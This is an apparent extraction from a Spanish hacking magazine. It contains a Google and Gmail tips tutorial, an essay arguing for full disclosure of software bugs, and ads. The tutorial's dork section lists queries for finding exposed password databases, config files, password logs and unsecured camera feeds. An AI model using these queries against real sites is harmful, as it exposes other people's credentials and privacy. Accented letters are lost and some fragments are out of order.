Cmodos, estis en la Cafetera!

El objetivo de este pequeo tutorial es ensearte a explotar


al mximo todas las posibilidades que nos brinda el
conjunto Google-Gmail, ambos de la conocida compaa
Google. Quiz pienses que sabes encontrar cualquier cosa
en Google, pero igual no sabes que Google puede ser
usado como calculadora, puede convertir distintas unidades
de clculo, puede mandarte un email con los resultados,
e incluso puedes seguir la trayectoria de tu pedido en
FedEX/UPS o ver la localizacin actual de un vuelo.

Gmail es un servicio de correo electrnico que actualmente


esta en fase beta, es decir, en pruebas. Esto solo quiere
decir que no les apetece ponerlo disponible al mundo
hasta que sea perfecto, ya que es lo que la gente esperara
de Google. Lo que quiero enfatizar es que el sistema esta
totalmente operativo, y funciona a la perfeccin.
La nica forma de obtener una cuenta Gmail es mediante
una invitacin, si quieres una puedes pedirla en el foro
en el siguiente hilo --> http://www.hackxcrack.com
/phpBB2/viewtopic.php?t=17929. Y te estars pregun-

tando, que hace tan especial a Gmail? Pues que como


su hermano mayor(el buscador :P) tiene diversas
caractersticas especiales, entre las que se encuentra la
ms aclamada: espacio web de ms de 2 GB (y subiendo
mientras lees estas lneas). Esto permite que puedas
guardar todos los mensajes sin preocuparte de que te
estalle la cuenta :).
Veamos algunas de las otras caractersticas de Gmail:

A continuacin voy a explicar como utilizar tu cuenta en


Gmail como disco duro virtual, para almacenar todo lo
que quieras, en GNU/Linux( indiferentemente de la
distribucion) y Windows Xp.
-Windows
Lo primero que debemos hacer es bajarnos el programa
de cualquiera de estos sitios:
http://www.softpedia.com/progDownload/Gmail-Driveshell-extension-Download-15944.html
http://fileforum.betanews.com/detail/Gmail_Drive/1097

61

807577/1/
http://www.techspot.com/download29
7.html
Una vez haya terminado la descarga, lo
abrimos(doble click) y lo extraemos(acciones-->Extraer) a C:\Gmail.
Ahora nos vamos a la carpeta e iniciamos
el setup.exe
Nos saldr el Readme, que ,si no sabes
ingles, te servir de poco. Cirralo para
proceder con la instalacin. Ahora solo
tienes que ir a "Mi Pc" y veras que tienes
un nuevo disco duro llamado "Gmail
Drive". Haz doble click en l y te pedir
tu nombre de usuario y contrasea. Los
pones y si quieres que cada vez que se
inicie el ordenador se conecte a Gmail,
dale a "autologin", aunque no lo
recomiendo.
Bien, ya tienes tu nuevo disco duro
virtual, puedes almacenar ah lo que
quieras, y luego lo puedes sacar en
cualquier ordenador que tenga tambin
instalado GmailDrive.
Ten en cuenta que este es un programa
que depende de Gmail, por lo que cada
vez que actualicen su sistema ya no
funcionar(se actualizara no muy a
menudo), as que si ves que no te
funciona, psate otra vez por la web y
bjate una versin actualizada al nuevo
sistema, y repite los pasos.
Web de GmailDrive: http://www.
viksoe.dk/code/Gmail.htm
-Linux
Para hacer esto independiente de la
distribucin que uses, voy a explicar
como hacerlo desde las fuentes de todos
l o s p r o g ra m a s q u e n e c e s i t e m o s .
Primero debemos bajarnos:
-Python(si es que no lo tenemos ya) de
http://www.python.org/ftp/python/2.
4.1/Python-2.4.1.tgz
-Fuse de http://sourceforge.net
/project/showfiles.php?group_id=121
684&package_id=132802
-Python-Fuse Bindings de http://richard.
jones.name/Google-hacks/Gmailfilesystem/fuse-python.tar.gz

62

-Librera libGmail de http://sourcefor


ge.net/project/showfiles.php?group_i
d=113492
-GmailFs de http://richard.jones.name
/Google-hacks/Gmail-filesystem
/Gmailfs-0.3.tar.gz

Ahora repetimos con libGmail

Bueno, ya lo tenemos todo no? Tened


en cuenta que es bastante probable que
tengis Python, comprobadlo para
ahorraros un poco de tiempo. Tambin
debis tener en cuenta que lo estoy
explicando independiente de la distribucin, por lo que en vuestra distribucin
es muy posible que os podis descargar
paquetes como Python con un simple
apt-get install python.

Como ves hemos tenido que copiar esos


dos archivos a un lugar accesible para
python. Y ahora por ltimo Gmailfs:

Desde ahora asumo que los archivos


descargados estn en /tmp/Gmailfs y
que estamos logueados como "root" en
una consola para hacer todo esto.
Lo primero que debemos hacer es
instalar Python.
#
#
#
#
#

tar xvfz Python-2.4.1.tgz


cd Python-2.4.1
./configure --prefix=/usr/local
make
make install --prefix=/usr/local

Ya tenemos Python instalado. Ahora le


toca a Fuse:
# tar xvfz fuse-2.2.1.tar.gz
# cd fuse-2.2.1
#./configure
#make && make install
# vi /etc/init.d/fuse
>#!/bin/sh
>modprobe fuse
:wq
# update-rc.d fuse defaults
Como podis ver, hemos tenido que
crear un script en "/etc/init.d" para que
se inicie el modulo fuse cuando iniciemos
nuestro ordenador. Si quieres utilizar
ahora mismo fuse haz modprobe fuse .
Turno de Fuse Bindings:
#
#
#
#
#

tar xvfz fuse-python.tar.gz


cd fuse-python
chmod 777 fuse.py
python setup.py build
python setup.py install

# tar xvfz libGmail-0.0.8.tgz


# cd libGmail-0.0.8
# cp constants.py libGmail.py
/usr/local/lib/python2.4/site-packages

#
#
#
#
#

tar xvfz Gmailfs-0.3.tar.gz


cd Gmailfs-0.3
cp Gmailfs.py /usr/local/bin
cp mount.Gmailfs /sbin/
mkdir /mnt/Gmail

Bien, ahora debemos aadir una entrada


a /etc/fstab que sea algo como esto:
/usr/local/bin/Gmailfs.py /mnt/Gmail
Gmailfs noauto,username=usuario,
password=contrasea
fsname=WaDALbeRTo
Donde "usuario" es nuestro nombre de
usuario y "contrasea" nuestra contrasea de Gmail. "fsname" es un nombre
para el sistema de archivos, podemos
ponerle el que queramos, pero es
aconsejable que sea difcil de adivinar
"por si las moscas".
Bueno, ahora solo nos queda ir a /mnt/
y hacer mount Gmail.

Tambin podemos ver nuestro correo


desde un cliente de correo, ya sea en
tu ordenador o en un PDA. Para hacerlo
nos logueamos en Gmail y vamos a
configuracin(arriba a la derecha) a
continuacin vamos a Reenvo y Correo
POP y donde dice Descargar correo
POP habilitamos Habilitar POP para
todos los mensajes. Ahora para configurar
tu gestor favorito tienes el GmailConfig,
que te lo configura todo de manera que
solo tengas que introducir tu usuario y
contrasea. Puedes bajrtelo de http://
t o o l b a r. G o o g l e . c o m / G m a i l - h e l p e r /
GmailConfig.exe . Para una explicacin de
como hacerlo independientemente del
gestor de correo, entrad en
http://gmail.google.com/support/bin/an
swer.py?answer=13287

A continuacin explicar como configurarlo con Mozilla Thunderbird:


Abre Thunderbird y entra en
Herramientas-->Edicin de Cuentas,
seguido de Aadir Cuenta.
Pincha en Cuenta de Correo
Electrnico y en Siguiente.
Introduce el nombre que vern los
recipientes de tus mensajes en Su
Nombre:. Luego teclea tu nombre de
usuario Gmail (usuario@gmail.com)
adentra de la caja de Direccin de
Correo Electrnico, y dale a Siguiente.
Selecciona POP como tipo de servidor
entrante. En Nombre del Servidor pon
pop.gmail.com y acto seguido haz click
en Siguiente.
Teclea una vez ms tu nombre de
usuario de Gmail (incluyendo el
@gmail.com) en Nombre de Usuario
Entrante.
Introduce cualquier nombre en
Nombre de Cuenta seguido de
Siguiente.
Verifica que todo est correcto y haz
click en Siguiente.
Bajo la nueva cuenta creada entra en
Configuracin de Servidor y pon un
tick en la caja que dice Usar conexin
segura (SSL), y verifica que el puerto
sea 995.
En la ventana de Configuracin de
Cuenta mira el recuadro Servidor de
Salida (SMTP).
Pon un tick en la caja que dice TLS
debajo de Utilizar conexin segura.
Introduce smtp.gmail.com en
Nombre del Servidor, y verifica que
Puerto sea 587.
Tickea la opcin Utilizar Nombre de
Usuario y Contrasea, e introduce tu
nombre de usuario de Gmail
(usuario@gmail.com.
Verifica que toda la informacin sea
correcta, y ya tienes tu correo Gmail
en tu gestor de Correo!.

Con esta opcin puedes reenviar todo


el correo que recibas en tu cuenta Gmail
a otra direccin de correo electrnico.
De esta manera si cambias de cuenta y
ya no quieres recibir ms mensajes en
Gmail, puedes reenviar todos los
mensajes a tu nueva cuenta.
La forma de hacer eso es yendo a

"Reenvo y correo POP" y hacer click en


"Reenviar una copia del correo entrante
a" seguido de la direccin de correo,
indicando si quieres conservar una copia
en la cuenta de Gmail o no.

Gmail te permite ver en tu lector de


feeds favorito tus correos. Para hacerlo
debers aadir a tu agregador feed la
direccin https://Gmail.Google.com/
Gmail/feed/atom, y configurarlo de
manera que el identificador y contrasea
sean las mismas que las de tu correo.

Con Google puedes encontrar


prcticamente cualquier cosa, y despus
de este artculo ya no tendrs excusa
para no encontrarlo TODO ;) Estas son
algunas de las formas en las que Google
nos ayuda:

Google incorpora una calculadora que


te permite hacer todo tipo de clculos
matemticos, desde lo ms simple hasta
lo ms complejo. Por ejemplo, podemos
hacer algo tan simple como multiplicar
cinco ms cinco por dos, (5+5)*2,
hasta hacer cosas tan complicadas como
(e^(i pi)+1), y obtener un resultado
claro.

Para obtener la definicin de una palabra


ponemos algo tan simple como Define
palabra , de manera que si queremos
la definicin de un ordenador hacemos
Define ordenador y obtendremos un
enlace (casi siempre a la Wikipedia o
similar) en el que nos dice Una
c o m p u t a d o ra ( H i s p a n o a m r i c a ) u
ordenador (Espaa) es un dispositivo
electrnico compuesto... .

Google nos permite relacionar los


resultados con un tipo de archivo en
concreto mediante la utilizacin de
filetype:[extensin] en la bsqueda.
Digamos que por ejemplo buscamos la
constitucin espaola en pdf, pues

haramos "constitucin Espaola"


filetype:pdf y nos devolvera todos los
sitios donde aparece constitucin
espaola en formato .pdf.

Pues s, tambin podemos buscar cosas


especificas de pelculas en Google
utilizando el operador movie : . Por
ejemplo, sabemos que hay una pelcula
dirigida por Spielberg en la que sale
Tom Hanks y que trata sobre un
Soldado. Pues ponemos movie:
Spielberg Tom Hanks Soldier y nos da
como resultado Salvar al Soldado Ryan,
de la cual podemos ver crticas, sinopsis,
actores, etc....

Esta caracterstica nos permite seguir


los paquetes enviados a travs de FedEx,
UPS, USPS, y otros dando solamente el
numero de identificacin, por ejemplo
"9999 9999 9999 9999 9999 99".
Tambin podemos ver un vuelo poniendo
su nmero de identificacin, el cual
suele estar normalmente en el reverso
del ticket.

Utilizando el operador site: podremos


buscar algo en concreto dentro de una
misma web. Por ejemplo, si queremos
encontrar Windows Media Player
dentro de http://www.microsoft.com/,
pondramos Windows Media Player
site:http://www.microsoft.com/

Si nos vamos maana de viaje y no


sabemos que tiempo har, Google nos
ayudar :) Si queremos saber el tiempo
que har en Madrid pondremos weather
madrid, Spain. Esta bsqueda debe
siempre estar en el formato weather
ciudad , Pas

Quieres saber quien tiene un link a tu


web? Pues usando el operador link:
web lo sabrs. Por ejemplo, para saber
quien tiene links que apunten a

63

http://www.cnn.com/ pondremos
link:http://www.cnn.com/

Esta opcin solo funciona con vuelos


americanos, pero pronto se instalar en
otros pases. La forma de utilizar este
servicio es poniendo el nombre de la
compaa, seguido del vuelo. Por
ejemplo para la compaa United
Airlines y el vuelo 134 pondramos
united 134

ejemplos, puedes probar con muchas


ms cosas.

Si quieres recibir los resultados de la


bsqueda en tu correo para poder
analizarlos ms tarde con tranquilidad
en otro sitio, basta con mandar un email
a Google@capeclear.com con el patrn
de la bsqueda como asunto, y al poco
ra t o r e c i b i r s u n c o r r e o c o n l o s
resultados

La manera de sacar provecho de estos


GoogleDorks es refinando las bsquedas
al mximo para conseguir archivos de
configuracin o de administrador. Por
ejemplo, para un archivo .mdb, el cual
contiene contraseas, usuarios y dems
archivos sobre una pagina web, ponemos
en Google allinurl: admin mdb. Como
veis, hay diversas pginas donde el
administrador ha dejado que Google
guardara un link a ese archivo, cosa
que NINGN administrador espabilado
debera hacer.
Os dejo algunas bsquedas ms para ir
practicando:

Si sabemos el nombre de una empresa


que invierte en bolsa, podremos saber
como van sus acciones, e incluso
obtendremos un bonito grfico. Para
ello deberemos saber la abreviatura del
nombre en bolsa. Por ejemplo para saber
como estn las acciones de Cisco
Systems, Inc pondremos su nombre
abreviado en bolsa, que es csco

Este punto es el ms difcil de explicar.


Resulta que Google tiene un sistema
que te hace conversiones sobre ciertas
cosas, como puede ser la conversin de
segundos a horas, megabytes a bits o
metros a millas.
La forma de sacar provecho de esto
suele ser siempre con esta sintaxis:
Cosa to Cosa1
Es decir, si queremos convertir 66984
segundos a horas ponemos:
66984 seconds to hours A lo que nos
dir: 66 984 seconds = 18.6066667
hours
Igualmente, si queremos convertir 60
metros a millas o 2147483648 bytes a
gigabytes diramos: 60 metres to miles
A lo que dir 60 meters = 0.0372822715
2147483648 bytes to gigabytes Y
obtendremos
la
respuesta:
2 147 483 648 bytes = 2 gigabytes
Como puedes ver, lo que quieres
encontrar tiene que ser en su palabra
en ingls, no puede ser "metros" sino
"metres". Tambin debes tener en
cuenta que solo he puesto unos

64

Mediante el operador inurl : podemos


encontrar un patrn dentro de la url de
cualquier web. Si quisiramos encontrar
paginas web que contengan phpBB2
pondramos inurl; phpBB2Esto puede
tener varias utilidades. Por ejemplo,
podemos utilizar esta opcin para ver
diferentes cmaras de seguridad del
mundo buscando inurl:"MultiCamera
Frame?Mode=". De esta manera, todas
las urls(direcciones) que tenga Google
almacenadas que contengan
MultiCameraFrame?Mode= aparecern
en los resultados, con las consiguientes
paginas donde podremos ver cmaras
de seguridad desde un casino de Japn
hasta la Quinta Avenida de Nueva York.
Esto tambin conlleva algunos riesgos
de seguridad, ya que todas esas cmaras
estn al descubierto para miradas de
curiosos (como nosotros :D), y es
posible que no siempre sea la intencin
del administrador.
Tambin es posible encontrar resultados
dentro del ttulo de la pagina, con el
operador intitle:. Al igual que con
inurl, con allinurl conseguimos mas
o menos lo mismo que con el anterior,
pero pudiendo refinar la bsqueda con
ms opciones.

Se conoce como un GoogleDork a aquella


persona inepta o necia que es revelada
por Google. Estas personas dejan a Google
indexar(guardar) informacin confidencial
sobre su web, ya sean vulnerabilidades,
informacin sobre el servidor, directorios
secretos o incluso contraseas con sus
correspondientes usuarios.

intitle:"Index of" config.php


ext:txt inurl:unattend.txt
filetype:log inurl:"password.log"
"access denied for user" "using
password"
Para ms bsquedas de este tipo echadle
un vistazo a la web http://johnny.
ihackstuff.com/
Para evitar este tipo de cosas, debemos
configurar nuestro servidor para que los
buscadores no entren en determinados
directorios, lo cual se puede hacer de
diversas formas , dependiendo del
servidor. En el caso de Apache, se debe
restringir el acceso en el archivo
.htaccess. Otra manera universal para
todos los servidores es tener en el
directorio raz un archivo llamado
robots.txt en el cual debes incluir
Disallow : Seguido del directorio al
que no quieres que el robot de ningn
buscador entre. Para ms informacin
s o b r e e l a r c h i v o r o b o t s . t x t m i ra
http://www.searchengineworld.com/r
obots/robots_tutorial.htm
Espero que este artculo os sirva de
referencia y os haya sido de utilidad
para la prxima vez que vayis a hacer
una bsqueda avanzada en Google, o
vayis utilizar vuestro correo Gmail .
Ya no tenis escusa para decir "Busqu,
pero no encontr nada en Google" Si
tenis alguna pregunta, pasaros en el
foro, que all me encontraris a m, y a
mucha ms gente dispuesta a ayudarte.
Un Saludo!
Autor: kurin

Todas las maanas, para matar el tiempo que consume el largo camino a la facultad, me
entretengo ojeando la prensa gratuita (aqu en Madrid es habitual acumular hasta tres y cuatro
peridicos al entrar al metro). Una maana de hace unas cuantas semanas le una noticia que,
de no estar totalmente seguro que no era 28 de Diciembre, me habra parecido una inocentada:
una conocida marca de automviles ha diseado el primer coche slo para mujeres que
a d e m s h a s i d o d i s e a d o p o r u n e q u i p o f o r m a d o n t e g ra m e n t e p o r m u j e r e s .
Podis hacer una visita a nuestro bien amado google y
buscar el trmino Volvo YCC (no haba manera de no
mencionar la marca... publicidad gratis xD) para saber
cul es la idea que esas mujeres han tenido de lo que ha
de ser un coche para mujeres. Seguramente, si eres
mujer, desearas ver las cabezas de estas diseadoras
(http://imgserv.ya.com/images/9/8/982e8235131ca7bi
3.jpg) en una pica... no te culpo, si yo fuera mujer deseara
lo mismo.
Ahora (y antes de iniciar otra guerra de sexos), vamos a
imaginar que alguien compra ese coche. Para dejar de
martirizar a las fminas (que bastante tienen con ver su
gnero como apellido de ese pseudocoche), imaginemos
que yo mismo me lo compro. S que imaginar que tengo
el dinero para comprar un coche -ms an de esa marcaes un gran esfuerzo, pero confo en que tengis la
suficiente imaginacin. ;-)
Bien, pongamos que me he comprado mi nuevo y flamante
YCC y decido salir a dar una vuelta a probarlo. Todo va
de maravilla hasta que, de buenas a primeras el coche se
para y me deja tirado. Qu ha pasado? Bien, no perdamos
la calma, vamos a abrir el cap a ver si veo algo a simple
vista... Qu!? Este coche no tiene cap! (Nota: no, no
es broma, ese coche NO tiene cap). Yo no soy un hacha
de la mecnica, pero algo s, y en cualquier caso tengo
amigos que s son bastante buenos con la mecnica...

pero no podr hacer nada ni pedir a ningn amigo que lo


haga. La nica solucin es llevar el coche al taller, donde
sabrn como quitar la pieza completa que recubre el
motor.
En ese momento empieza a funcionar la parte ms
pragmtica de mi cerebro: qu necesidad real haba de
negar el acceso al cap? no sera mejor proporcionar el
acceso al mismo y que cada usuario decida por s mismo
si desea abrirlo e intentar repararlo, o bien llevarlo a un
taller y confiar en profesionales? As se ha hecho toda la
vida y no nos ha ido mal. El que quera aprender mecnica
lo haca y el que no, o buscaba un taller econmico o le
peda un favor a un amigo que entendiera y luego le
invitaba a algo (o no, que caraduras los han habido siempre
:-P).
Traslademos ahora esta pequea parbola al campo del
software. Como hace mucho que dejamos de creer en los
cuentos de hadas, sabemos que no existe el software
perfecto, y que todos los programas -en mayor o menor
medida- tienen fallos. Pues bien, en el mundo de la
seguridad informtica existen dos tendencias a la hora de
manejar las situaciones crticas que suponen la aparicin
de bugs en el software.
La primera tendencia es la de ofrecer toda la informacin
posible sobre el fallo: en qu consiste, cmo explotarlo,

65

cmo solucionarlo... esta tendencia de


cap abierto permite al usuario decidir
por s mismo si desea corregir el
problema o esperar a que los
profesionales (los responsables del
software) lo corrijan. A esta tendencia
se le conoce en este mundillo como full
disclosure (completamente destapado).
La otra tendencia consiste en intentar
que sea conocida la mnima informacin
posible sobre el fallo. Generalmente se
saca un parche para un fallo que ni
siquiera ha sido anunciado con
antelacin. A esta tendencia se le conoce
como security through obscurity
(seguridad a travs de oscuridad) y
viene a ser el equivalente a no poner
cap a nuestro coche.
Podis encontrar ms informacin sobre
ambas tendencias en la wikipedia:
http://en.wikipedia.org/wiki/Security_
through_obscurity
http://en.wikipedia.org/wiki/Full_discl
osure
Dejando de lado las implicaciones legales
de este asunto (un tema del que ya
habl AZIMUT en su artculo de opinin)
podemos observar que en la comunidad
internacional dentro del campo de la
seguridad informtica, tanto empresas
como particulares se decantan por una
u otra tendencia (raramente por un
trmino medio).
Generalmente, las grandes empresas
de software prefieren que la seguridad
de sus productos recaiga en la seguridad
p o r o s c u r i d a d , m i e n t ra s q u e l o s
expertos independientes (los hackers,
si es que esa palabra significa algo
hoy en da) suelen preferir el full
disclosure.
Pero tcnicamente, qu diferencias
reales hay entre una y otra tendencia?
La poltica de seguridad por oscuridad
significa en la prctica que dependemos
totalmente de la empresa o particular
que ha programado el software para
poder corregir fallos. Y esto estara bien
si esos fallos se siguieran corrigiendo
eternamente y se hiciera de forma
eficiente, pero... es as?

66

Hace unos meses Microsoft, el mayor


gigante del software hoy en da, anunci
que retiraba el soporte de Windows NT
4.0. En la prctica significa que no se
van a desarrollar mejoras ni correcciones
para el mismo nunca ms... y que al
primer fallo grave que se descubra, todo
aquel con ese sistema estar
completamente desprotegido. Dado que
el entorno NT casi siempre se ha elegido
como solucin en empresas o entornos
de produccin, no creo que nadie en
esas circunstancias se arriesgue a un
fallo de semejante magnitud. Solucin?
Actualizar, previo paso por caja para
renovar tooodas las licencias que
tuvieras.
En Microsoft los coches no tienen cap.
Y cuando ellos deciden que debes
cambiar de coche (sin importar que siga
funcionando o no), en el taller te
responden que no van a reparar ms
coches de ese modelo. Como el plan
renove pero al revs y poniendo t la
pasta.
Pero voy ms all: de qu me servira
conocer todos los detalles sobre un fallo
de diseo en la junta de la trcola del
modelo X del ltimo coche de Microsoft?
Aunque ese modelo de coche tuviera
cap, al abrirlo descubrira que no tengo
ni idea de cmo ha sido diseado ese
motor ni, por supuesto, de dnde est
la junta de la trcola ni de cmo
interacta con su entorno para trabajar.

cuestin. Y ojo! Que no estoy abogando


por el software libre (que tambin, los
que me conocen saben que soy firme
defensor del mismo), simplemente pido
derecho a saber en qu estoy poniendo
mi confianza.
No s vosotros, pero si el fabricante de
mi coche de vez en cuando enviara
cartas a sus clientes diciendo:
Cuidado, se ha descubierto un fallo de
diseo en su automvil que puede causar
q u e e x p l o t e s i n p r e v i o a v i s o .
Yo, cada vez que escuchara un ruido
extrao, por ms que el mecnico
insistiera en que no es nada, no me
arriesgara a ir a ningn sitio con ese
riesgo con ruedas. No hablemos de hacer
viajes de 500 kilmetros con pasajeros.
ltimamente hago bastantes compras
online, y consulto los movimientos de
mis cuentas desde la pgina web de las
entidades bancarias correspondientes,
por falta de tiempo ms que nada (ya
se sabe, la vida a la que nos obliga el
stress). Y por el mismo motivo por el
que no usara ese coche sin cap, no
uso software sin cap del que no me
fo.

No s si habris ledo los boletines de


seguridad de Microsoft, pero a m es
que me da la risa. Parecen haber sido
redactados con la intencin de que no
los comprendan ni sus ingenieros, y al
final lo nico que se entiende es
Descargar el parche. Pues vale. Por
no mencionar las descripciones de las
actualizaciones que podemos encontrar
en Windows Update... a m a veces me
da una sensacin terrible de dej vu y
no s si estoy viendo la misma
actualizacin por ensima vez o si las
descripciones se asignan por el mtodo
de ctrl+c; ctrl+v.

Es un hecho que las vulnerabilidades se


descubren, por ms que las empresas
de software pretendan que no sea as.
En muchas ocasiones son avisadas de
esos fallos de seguridad y hacen caso
omiso de los avisos. Recuerdo el caso,
har quiz un ao o ms, de una grave
vulnerabilidad en hotmail (aqu es donde
todos los script-kiddies agudizan sus
cinco sentidos xD) que permita resetear
el password de cualquier usuario: el
webmaster de Zone H avis en
repetidas ocasiones al personal de MSN
y no le hicieron caso. Al final, cansado
de la situacin, decidi publicar el fallo,
lo que oblig al personal de MSN a
trabajar a destajo para corregirlo en
una noche y evitar el desastre que se
avecinaba (lo siento, script-kiddies, otra
vez ser...).

Por ello, creo que an cuando las


grandes corporaciones del software
optaran por el full disclosure, ste no
tendra sentido de ser sin tener acceso
al cdigo fuente del software en

No sera mejor haber agradecido la


informacin y haber solucionado con
tiempo (semanas) el fallo que haberlo
hecho deprisa y corriendo en una noche?
En el colegio, todos hacamos los

deberes el da antes, pero creo que una


empresa como Microsoft no puede
permitirse hacer los deberes el da antes.
Eso ya no es security through
obscurity... eso es security through
idiocy.
Ahora imaginemos que se descubre una
vulnerabilidad crtica en el software X
y q u e e l d e s c u b r i d o r t i e n e o t ra s
intenciones bastante ms dainas.
Nadie (ni el desarrollador) conoce el
fallo, pero todos empiezan a observar
los ataques y sus consecuencias. Con
el cdigo fuente disponible, y una
poltica de full disclosure, es posible
que cualquiera encuentre el fallo
auditando el cdigo y proponga una
solucin, mientras que si el cdigo no
est disponible, se hace bastante ms
complicado el encontrar el punto exacto
del fallo y mucho ms complicado
solucionarlo... eso sin tener en cuenta
que el realizar ingeniera inversa sobre
cdigo propietario es delito. Y si
tenemos que esperar a que el desarrollador parchee, y tiene la misma prisa
que demuestran a veces empresas
como Microsoft... estamos apaados.
Es por ello que mi filosofa del software
pasa por el full disclosure y la publicacin
del cdigo fuente. Y de nuevo repito: la
disponibilidad del cdigo fuente no
implica necesariamente software libre
ni open source. Tenemos casos de
software muy famoso como PGP
(http://www.pgp.com/) donde el cdigo
fuente est disponible para descarga y
revisin (http://www.pgp.com/ down
loads/sourcecode/) pero NO es libre ni
abierto.

Es por ello que yo s me fo de PGP, por


ejemplo. No pecar de soberbia diciendo
que he revisado el cdigo fuente de PGP,
entre otras cosas porque no veo
necesario revisarlo. Tampoco he revisado
lnea a lnea el cdigo de, por ejemplo,
phpBB (el sistema de, entre otros, los
foros de Hack x Crack)... pero porque
no necesito hacerlo.
S perfectamente que hay gente que s
audita esos cdigos lnea por lnea, y
que en el momento en que se encuentra
una vulnerabilidad, se publica toda la
informacin relativa a la misma, as
como soluciones temporales. A la
experiencia me remito:
Hace unas cuantas de semanas se
descubri una vulnerabilidad muy grave
en phpBB hasta la versin 2.0.12 que
permita comprometer totalmente
cualquier foro.
Gracias al full disclosure pudimos cerrar
el foro a tiempo para evitar males
mayores (y gracias a la gente de
elhacker.net ;-P) y en cuanto hubo
parche oficial, solucionar el problema.
Pero voy ms all... unos das despus
se empez a mencionar en ciertos
crculos una nueva vulnerabilidad en
phpBB hasta la ltima versin disponible
entonces (2.0.13) que permita hacer
ms de una maldad. An no haba
parche oficial ni versin 2.0.14, pero
gracias al full disclosure, pude aplicar
yo mismo una modificacin al cdigo
del foro que nos puso a salvo del fallo.
Os imaginis si phpBB fuera cdigo

cerrado y propiedad de una gran


empresa del software? Mejor ni pensarlo.
Parece ser que, a golpe de talonario y
mordaza, desean imponernos software
sin cap. Puede parecer que al final
tena razn George Orwell, y solamente
err la fecha... pero como no soy alguien
pesimista, prefiero pensar que no es
as.
Si observamos las tendencias del
software de estos ltimos aos, vemos
que cada da el software libre arrebata
ms trozos del pastel a las grandes
empresas: Linux a Windows, Firefox a
Internet Explorer, OpenOffice.org a
Microsoft Office... y tambin hay casos
de pasteles que el software libre se
come casi completamente: MySQL,
Apache...
Tambin vemos que el full disclosure
cada da est ms vivo, y que la
comunidad hacker se encarga de
alimentarlo da a da con conocimiento...
a pesar de todo. Como reza la firma de
un amigo y compaero del foro... Si
no se vive como se piensa, se acabar
pensando como se vive.
As pues, cuando me compre un coche,
lo pedir con cap. Y si me lo dan sin
cap, ya me encargar yo de ponerlo,
os lo aseguro.
Ramiro C.G. (alias Death Master).

QUIERES CONOCER A OTRAS PERSONAS QUE LEEN LA REVISTA?


Pues no lo dudes, tienes un CHAT a tu disposicin!!!
Para acceder al CHAT nicamente necesitas un cliente de IRC, por ejemplo el mIRC, el irssi o el xchat:
- Para WINDOWS el mIRC ---> http://mirc.irc-hispano.org/mirc616.exe
- Para LINUX el irssi ---> http://irssi.org/ o el xchat ---> http://www.xchat.org/
Para acceder tendreis que poner en la barra de status:
/server irc.irc-domain.org y despues /join #hackxcrack
Y si no tienes ganas de instalar ningn programa, puedes acceder al CHAT directamente con tu navegador de Internet accediendo a la pgina
http://www.irc-domain.org/chat/ y poniendo en CANAL ---> #hackxcrack
Saludos y feliz chateo**
** El canal de CHAT de hackxcrack es un recurso ajeno a la revista/editorial cuyo
mantenimiento, gestion, administracin y contenidos son independientes de la misma.

67

PON AQU TU PUBLICIDAD


Contacta DIRECTAMENTE con
nuestro coordinador de publicidad

610 52 91 71

INFRMATE
sin compromiso!

Has pensado alguna vez en


poner TU PUBLICIDAD en
una revista de cobertura
nacional?
Has preguntado
precios y comprobado
que son demasiado
elevados como para
amortizar la inversin?

Con nosotros, la publicidad est al alcance de todos

precios desde

99 euros

para ms informacin:
http://www.pcpasoapaso.com/publicidad.html

P r omocin especial de lanzamiento

También podría gustarte